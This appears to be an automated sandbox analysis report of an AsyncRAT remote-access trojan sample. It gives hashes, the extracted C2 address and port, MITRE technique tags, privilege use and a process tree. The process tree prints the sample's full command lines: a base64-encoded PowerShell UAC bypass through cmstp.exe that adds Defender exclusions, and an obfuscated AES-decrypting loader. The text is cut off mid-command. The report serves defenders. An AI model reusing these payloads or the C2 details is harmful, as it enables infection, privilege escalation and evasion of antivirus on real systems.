asyncrat | 8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb

Analysis

max time kernel
148s
max time network
153s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
28-12-2024 01:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aimr.exe
Size

62.5MB
MD5

9de2f7e5b6aec38fe08b447296413421
SHA1

4e5dbfdbb5512c545abaff0b9561bea95f4abdd4
SHA256

8c8bdba7313a236d8d90adffa63402ae96e1b2a6314713883a1a3832dc3fecfb
SHA512

48e01b5698bd2bfb29fda2d40a166896aafbf9086fda89590af8f476686e584fc14fb464400c13488abf55db7be39d62bdc226fa95ce8456fb2a1112ddf82b10
SSDEEP

49152:CbOWffF0ChpMq2yNO/6heTR8DgVmkLoqlfqcIjRmUwhD8aW+bX1aeTDjotOieZxG:GOfChpMq

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

Syx7cNbJlqC2

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/3564-128-0x0000000007860000-0x0000000007872000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
38	3564	powershell.exe
43	3564	powershell.exe
44	3564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
988	powershell.exe
2904	powershell.exe
2852	powershell.exe
1372	powershell.exe
3564	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3376	ngrok.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1256	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1669812756-2240353048-2660728061-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3376	ngrok.exe
3376	ngrok.exe
3376	ngrok.exe
3376	ngrok.exe
988	powershell.exe
988	powershell.exe
2904	powershell.exe
2904	powershell.exe
2852	powershell.exe
2852	powershell.exe
1372	powershell.exe
1372	powershell.exe
3564	powershell.exe
3564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	988	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeIncreaseQuotaPrivilege	2904	powershell.exe
Token: SeSecurityPrivilege	2904	powershell.exe
Token: SeTakeOwnershipPrivilege	2904	powershell.exe
Token: SeLoadDriverPrivilege	2904	powershell.exe
Token: SeSystemProfilePrivilege	2904	powershell.exe
Token: SeSystemtimePrivilege	2904	powershell.exe
Token: SeProfSingleProcessPrivilege	2904	powershell.exe
Token: SeIncBasePriorityPrivilege	2904	powershell.exe
Token: SeCreatePagefilePrivilege	2904	powershell.exe
Token: SeBackupPrivilege	2904	powershell.exe
Token: SeRestorePrivilege	2904	powershell.exe
Token: SeShutdownPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeSystemEnvironmentPrivilege	2904	powershell.exe
Token: SeRemoteShutdownPrivilege	2904	powershell.exe
Token: SeUndockPrivilege	2904	powershell.exe
Token: SeManageVolumePrivilege	2904	powershell.exe
Token: 33	2904	powershell.exe
Token: 34	2904	powershell.exe
Token: 35	2904	powershell.exe
Token: 36	2904	powershell.exe
Token: SeDebugPrivilege	1256	taskkill.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1372	powershell.exe
Token: SeSecurityPrivilege	1372	powershell.exe
Token: SeTakeOwnershipPrivilege	1372	powershell.exe
Token: SeLoadDriverPrivilege	1372	powershell.exe
Token: SeSystemProfilePrivilege	1372	powershell.exe
Token: SeSystemtimePrivilege	1372	powershell.exe
Token: SeProfSingleProcessPrivilege	1372	powershell.exe
Token: SeIncBasePriorityPrivilege	1372	powershell.exe
Token: SeCreatePagefilePrivilege	1372	powershell.exe
Token: SeBackupPrivilege	1372	powershell.exe
Token: SeRestorePrivilege	1372	powershell.exe
Token: SeShutdownPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeSystemEnvironmentPrivilege	1372	powershell.exe
Token: SeRemoteShutdownPrivilege	1372	powershell.exe
Token: SeUndockPrivilege	1372	powershell.exe
Token: SeManageVolumePrivilege	1372	powershell.exe
Token: 33	1372	powershell.exe
Token: 34	1372	powershell.exe
Token: 35	1372	powershell.exe
Token: 36	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1372	powershell.exe
Token: SeSecurityPrivilege	1372	powershell.exe
Token: SeTakeOwnershipPrivilege	1372	powershell.exe
Token: SeLoadDriverPrivilege	1372	powershell.exe
Token: SeSystemProfilePrivilege	1372	powershell.exe
Token: SeSystemtimePrivilege	1372	powershell.exe
Token: SeProfSingleProcessPrivilege	1372	powershell.exe
Token: SeIncBasePriorityPrivilege	1372	powershell.exe
Token: SeCreatePagefilePrivilege	1372	powershell.exe
Token: SeBackupPrivilege	1372	powershell.exe
Token: SeRestorePrivilege	1372	powershell.exe
Token: SeShutdownPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeSystemEnvironmentPrivilege	1372	powershell.exe
Token: SeRemoteShutdownPrivilege	1372	powershell.exe
Token: SeUndockPrivilege	1372	powershell.exe
Token: SeManageVolumePrivilege	1372	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 1672	2720	aimr.exe	81
PID 2720 wrote to memory of 1672	2720	aimr.exe	81
PID 2720 wrote to memory of 636	2720	aimr.exe	82
PID 2720 wrote to memory of 636	2720	aimr.exe	82
PID 1672 wrote to memory of 3376	1672	cmd.exe	85
PID 1672 wrote to memory of 3376	1672	cmd.exe	85
PID 636 wrote to memory of 3020	636	cmd.exe	87
PID 636 wrote to memory of 3020	636	cmd.exe	87
PID 3020 wrote to memory of 988	3020	WScript.exe	88
PID 3020 wrote to memory of 988	3020	WScript.exe	88
PID 988 wrote to memory of 3828	988	powershell.exe	93
PID 988 wrote to memory of 3828	988	powershell.exe	93
PID 3828 wrote to memory of 2840	3828	csc.exe	94
PID 3828 wrote to memory of 2840	3828	csc.exe	94
PID 988 wrote to memory of 2716	988	powershell.exe	96
PID 988 wrote to memory of 2716	988	powershell.exe	96
PID 3020 wrote to memory of 3148	3020	WScript.exe	107
PID 3020 wrote to memory of 3148	3020	WScript.exe	107
PID 3148 wrote to memory of 2852	3148	cmd.exe	109
PID 3148 wrote to memory of 2852	3148	cmd.exe	109
PID 3148 wrote to memory of 2852	3148	cmd.exe	109
PID 2852 wrote to memory of 1372	2852	powershell.exe	110
PID 2852 wrote to memory of 1372	2852	powershell.exe	110
PID 2852 wrote to memory of 1372	2852	powershell.exe	110
PID 2852 wrote to memory of 4160	2852	powershell.exe	113
PID 2852 wrote to memory of 4160	2852	powershell.exe	113
PID 2852 wrote to memory of 4160	2852	powershell.exe	113
PID 4160 wrote to memory of 4136	4160	WScript.exe	114
PID 4160 wrote to memory of 4136	4160	WScript.exe	114
PID 4160 wrote to memory of 4136	4160	WScript.exe	114
PID 4136 wrote to memory of 3564	4136	cmd.exe	116
PID 4136 wrote to memory of 3564	4136	cmd.exe	116
PID 4136 wrote to memory of 3564	4136	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\aimr.exe
"C:\Users\Admin\AppData\Local\Temp\aimr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start ngrok.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    ngrok.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3376
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 9780_output.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9780_output.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:988
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bmnuzz4c\bmnuzz4c.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3828
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp" "c:\Users\Admin\AppData\Local\Temp\bmnuzz4c\CSCB260B0D176F5437590C755F3701B6BB.TMP"
        6⤵
        
        PID:2840
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\1vxzxsj2.inf
        5⤵
        
        PID:2716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3148
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object 